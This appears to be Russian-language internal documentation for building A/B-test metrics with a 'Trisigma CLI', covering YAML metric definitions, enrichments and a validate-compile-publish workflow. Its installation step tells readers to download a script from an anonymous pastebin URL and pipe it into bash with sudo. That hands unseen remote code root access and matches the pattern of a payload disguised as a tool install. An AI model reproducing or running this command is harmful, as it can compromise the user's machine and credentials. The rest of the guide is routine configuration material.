Практический Workflow
Пошаговая инструкция создания метрики от идеи до продакшена.
Предварительные требования
0. Получите доступ к репозиторию
Если у вас еще нет доступа к репозиторию метрик, обратитесь в канал Trisigma Support Channel или к команде Trisigma для настройки доступа.
Подробнее об интеграции: см. документацию по настройке репозитория.
1. Установите Trisigma CLI
sudo curl -sSL https://pastebin.com/raw/JwywS2A8 | tr -d '\r' | bash
trisigma init
2. Клонируйте репозиторий
git clone git@github.com:{your-company}/{your-company}_ab_metrics.git ~/projects/ab-metrics
cd ~/projects/ab-metrics
3. Проверьте доступ
trisigma sl validate
Сценарий 1: Простая метрика
Задача: Метрика "Конверсия в телефонный звонок"
Измеряем долю пользователей, кто позвонил после просмотра объявления.
Шаг 1: Создайте ветку
trisigma sl task AB-1234 "Добавление метрики phone_call_rate"
Шаг 2: Выберите source
trisigma sl list-sources
trisigma sl compile --source buyer_stream
Убедитесь что source содержит необходимые колонки: cookie_id, eid, event_date.
Шаг 3: Создайте метрику
Создайте metrics/phone_call_conversion.yaml:
definitions:
- &is_item_view { eid: 303 }
- &is_phone_call { eid: 315 }
metric.counter:
item_views: { filter: *is_item_view, obs: [events_count] }
phone_calls: { filter: *is_phone_call, obs: [events_count] }
metric.uniq:
item_viewers: { counter: item_views, key: [cookie_id] }
phone_callers: { counter: phone_calls, key: [cookie_id] }
metric.ratio:
phone_call_rate: { num: phone_callers, den: item_viewers }
Шаг 4: Привяжите к source
Откройте sources/sources.yaml:
buyer_stream:
metric_configs:
- buyer_stream
- phone_call_conversion # Добавили
Шаг 5: Валидируйте
trisigma sl validate
Если есть ошибки:
trisigma sl validate --ai-explain
Шаг 6: Проверьте SQL
trisigma sl compile --metrics phone_call_rate
Шаг 7: Сохраните
trisigma sl save -m "AB-1234: Добавил метрику phone_call_rate"
Шаг 8: Опубликуйте PR
trisigma sl publish
Шаг 9: Review и merge
- Откройте PR по ссылке
- Автоматически запустится билд валидации
- Результаты валидации отобразятся в комментариях к PR
- Дождитесь review
- После апрува используйте команду
run mergeв комментариях PR - Попросите merge в Trisigma Support Channel, если возникли проблемы
Шаг 10: Проверка после merge
После успешного мерджа:
- Перейдите в Реестр метрик
- Найдите вашу метрику
- Проверьте сгенерированный SQL
- Убедитесь, что логика расчета соответств ует ожиданиям
Сценарий 2: Метрика с enrichment
Задача: Метрика "DAU по сегментам покупателя"
Измеряем активных пользователей с разбивкой по сегментам (seeker/offerer).
Шаг 1: Проверьте enrichment
trisigma sl list-sources
trisigma sl compile --source buyer_stream --dimensions buyer_segment
Если buyer_segment доступен, переходите к созданию метрики.
Если enrichment отсутствует, создайте enrichments/buyer_segment.yaml:
buyer_segment_cookie:
sql: |
SELECT cookie_id, event_date, buyer_segment
FROM dma.v_buyer_segments
WHERE {{ pushdown_filter(cookie_id='cookie_id') }}
AND event_date BETWEEN :first_date AND :last_date
join_key: [cookie_id, event_date]
Шаг 2: Создайте метрику
Создайте metrics/dau_by_segment.yaml:
definitions:
- &is_seeker { buyer_segment: "seeker" }
- &is_offerer { buyer_segment: "offerer" }
metric.counter:
seeker_events: { filter: *is_seeker, obs: [events_count] }
offerer_events: { filter: *is_offerer, obs: [events_count] }
metric.uniq:
dau_seekers: { counter: seeker_events, key: [cookie_id] }
dau_offerers: { counter: offerer_events, key: [cookie_id] }
Шаг 3: Привяжите к source
buyer_stream:
metric_configs:
- buyer_stream
- dau_by_segment # Добавили
Шаг 4: Валидируйте и проверьте
trisigma sl validate
trisigma sl compile --metrics dau_seekers --dimensions buyer_segment
Enrichment применится автоматически, т.к. метрика использует buyer_segment.